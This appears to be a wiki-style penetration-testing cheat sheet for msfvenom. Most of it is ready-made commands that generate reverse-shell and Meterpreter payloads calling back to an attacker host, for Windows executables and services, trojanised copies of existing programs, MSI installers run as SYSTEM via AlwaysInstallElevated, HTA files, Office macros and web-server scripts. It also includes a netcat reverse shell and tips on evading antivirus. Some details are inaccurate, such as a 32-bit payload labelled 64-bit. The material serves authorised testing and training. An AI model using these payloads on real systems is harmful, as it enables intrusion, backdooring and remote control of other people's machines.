msfvenom

msfvenom is the payload generation and encoding component of the Metasploit Framework. It replaced the legacy msfpayload and msfencode tools on June 8, 2015, merging their functionality into a single CLI utility.

Core concepts

A msfvenom invocation has three logical parts:

1. Payload (-p) — the code that runs on the target (e.g., a Meterpreter session, reverse shell, or command execution).
2. Format (-f) — how the code is packaged (exe, elf, raw, python, psh, c, hex, etc.).
3. Optional transforms — encoders (-e), bad-character avoidance (-b), and iterations (-i) that reshape the bytes without changing behavior.

Staged vs. stageless payloads

Property	Staged (/)	Stageless (_)
On-disk size	Small	Large
Network noise	Second stage transfer	None post-exec
Reliability over flaky links	Lower	Higher
Handler PAYLOAD must match	Exactly	Exactly

A staged payload like windows/meterpreter/reverse_tcp delivers a tiny stager that downloads the full Meterpreter DLL. A stageless payload like windows/meterpreter_reverse_tcp is self-contained. The handler PAYLOAD must match the generated payload name byte-for-byte.

Basic usage

msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output>

Key flags:

• -l payloads / -l formats / -l encoders — list available options
• -e x86/shikata_ga_nai — specify encoder
• -b '\x00\x0a\x0d' — bad characters to avoid
• -i <count> — encoding iterations
• -x <template> — inject into existing executable
• -k — preserve template behavior (payload runs as new thread)

Platform-specific payload generation

Windows executables

# 64-bit Windows executable meterpreter payload
msfvenom -p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f exe -o ${NAME}.exe
 
# 64-bit Windows SERVICE executable
msfvenom -p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f exe-service -o ${NAME}.exe
 
# Backdoor an existing executable
msfvenom -a x64 --platform windows -x $ORIGINAL_EXE -k \
	-p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-b "\x00" -f exe -o $BACKDOORED_EXE

Note: By default msfvenom produces 64-bit executables with -f exe. For 32-bit targets in Program Files (x86), explicitly encode with -e x86/shikata_ga_nai.

Linux ELF executables

msfvenom -p linux/x86/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f elf -o ${NAME}

macOS Mach-O executables

msfvenom -p osx/x86/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f macho -o ${NAME}

MSI installers

If AlwaysInstallElevated is set to 1 under both HKCU\Software\Policies\Microsoft\Windows\Installer and HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer, MSI installers run as SYSTEM.

msfvenom -p windows/x64/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f msi -o ${NAME}.msi

Install with: msiexec /quiet /qn /i $INSTALLER.msi

HTML applications (HTA)

msfvenom -p windows/x64/shell_reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f hta-psh -o ${NAME}.hta

Catch with nc -lvp $ATTACKER_PORT. For a full Metasploit-driven HTA server, use exploit/windows/misc/hta_server. See html-applications for more on HTA exploitation.

VBA scripts

msfvenom -p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f vba -o ${NAME}.vba

The output must be copied into a Microsoft Office document as a macro. By default msfvenom uses Workbook_Open(); change to Document_Open() for Word. See visual-basic-for-applications for more.

Script payloads

# Bash
msfvenom -p cmd/unix/reverse_bash LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f raw -o ${NAME}.sh
 
# Python
msfvenom -p cmd/unix/reverse_python LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f raw -o ${NAME}.py
 
# Perl
msfvenom -p cmd/unix/reverse_perl LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f raw -o ${NAME}.pl
 
# PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f raw -o ${NAME}.php
 
# ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f asp -o ${NAME}.asp
 
# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f raw -o ${NAME}.jsp

Reverse shell mechanics

A typical cmd/unix/reverse_netcat payload generates code like:

mkfifo /tmp/qdsrgu; \
nc $LOCAL_IP $LOCAL_PORT 0</tmp/qdsrgu | \
	/bin/sh >/tmp/qdsrgu 2>&1; \
rm /tmp/qdsrgu

This creates a named pipe, connects back to the attacker with netcat, pipes input to /bin/sh, and redirects output back through the pipe. The attacker listens with nc -lvp $LOCAL_PORT.

Operational considerations

• Encoders are for bad-character avoidance, not AV evasion. Modern AV/EDR signatures the classic x86/shikata_ga_nai decoder stub. For real evasion, use custom loaders, packers, or shellcode injection.
• Default msfvenom output is heavily signatured. Durable detections target runtime behavior, not file hashes.
• Handler mismatch is a common failure mode. Starting exploit/multi/handler with a staged payload when the artifact is stageless (or vice versa) causes silent failure.

Sources

• Rapid7 — How to use msfvenom
• Rapid7 Blog — Introducing msfvenom (2011)
• Rapid7 Blog — Good-bye msfpayload and msfencode (2014)

See also

• html-applications
• visual-basic-for-applications
• windows-services
• exploit-windows-services